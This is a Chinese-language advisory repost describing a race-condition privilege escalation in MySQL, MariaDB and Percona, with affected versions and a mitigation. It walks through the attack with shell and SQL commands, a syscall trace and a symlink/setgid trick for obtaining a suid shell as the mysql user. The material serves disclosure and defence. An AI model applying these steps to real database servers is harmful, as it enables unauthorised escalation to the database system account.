美文网首页
漏洞新闻-- MySQL / MariaDB / Percona

漏洞新闻-- MySQL / MariaDB / Percona

作者: amazing_bing | 来源:发表于2016-10-13 11:49 被阅读0次

    漏洞概述:

    Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。

    利用条件

    数据库低权限用户;

    影响版本

    MariaDB     < 5.5.52 < 10.1.18 < 10.0.28
    MySQL       <= 5.5.51 <= 5.6.32 <= 5.7.14
    Percona   Server    < 5.5.51-38.2 < 5.6.32-78-1 < 5.7.14-8
    Percona   XtraDB Cluster    < 5.6.32-25.17 < 5.7.14-26.17 < 5.5.41-37.0
    

    漏洞危害:

    允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
    漏洞详情:
    1) 基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:

    attacker@debian:~$ mkdir /tmp/disktable
    attacker@debian:~$ chmod 777 /tmp/disktable/
    attacker@debian:~$ ls -ld /tmp/disktable/
    drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
    

    2) 可以通过data directory参数指定存储目录为/tmp/disktable/。

    mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
    

    3) 执行完成后,查看下目录权限,变为mysql

    attacker@debian:~$ ls -l /tmp/disktable/
    total 0
    -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
    

    4) 低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。

    mysql> REPAIR TABLE `poctab1`;
    +----------------+--------+----------+----------+
    | Table          | Op     | Msg_type | Msg_text |
    +----------------+--------+----------+----------+
    | testdb.poctab1 | repair | status   | OK       |
    +----------------+--------+----------+----------+
    

    5) 通过查看系统调用,可以看到

    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid  1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
    [pid  1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
    [pid  1463] lseek(65, 0, SEEK_CUR)      = 0
    [pid  1463] lseek(65, 0, SEEK_END)      = 0
    [pid  1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
    [pid  1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
    [pid  1463] lseek(65, 0, SEEK_END)      = 0
    [pid  1463] lseek(64, 0, SEEK_END)      = 1024
    [pid  1463] close(65)                   = 0
    [pid  1463] close(66)                   = 0
    [pid  1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
    [pid  1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid  1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
    [pid  1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
    [pid  1463] unlink("/tmp/disktable/poctab1.MYD") = 0
    [pid  1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
    

    6) 第一个系统调用是

    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在
    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0和
    [pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
    系统调用之间,产生了条件竞争漏洞。
    如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。
    

    7) 攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将指挥保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。
    可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制。
    新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)。

    attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
    attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
    drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
    通过data directory参数指定存储目录为/tmp/disktable/
    mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
    Query OK, 0 rows affected (0.00 sec)
    

    8) 再次查看/tmp/disktable/权限

    attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
    total 0
    -rw-rw---- 1 mysql mysql    0 Oct 28 11:04 poctab1.MYD
    -rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
    我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。
    

    修复建议:

    临时解决办法:
    在my.cnf中添加 symbolic-links = 0

    相关文章

      网友评论

          本文标题:漏洞新闻-- MySQL / MariaDB / Percona

          本文链接:https://www.haomeiwen.com/subject/snewyttx.html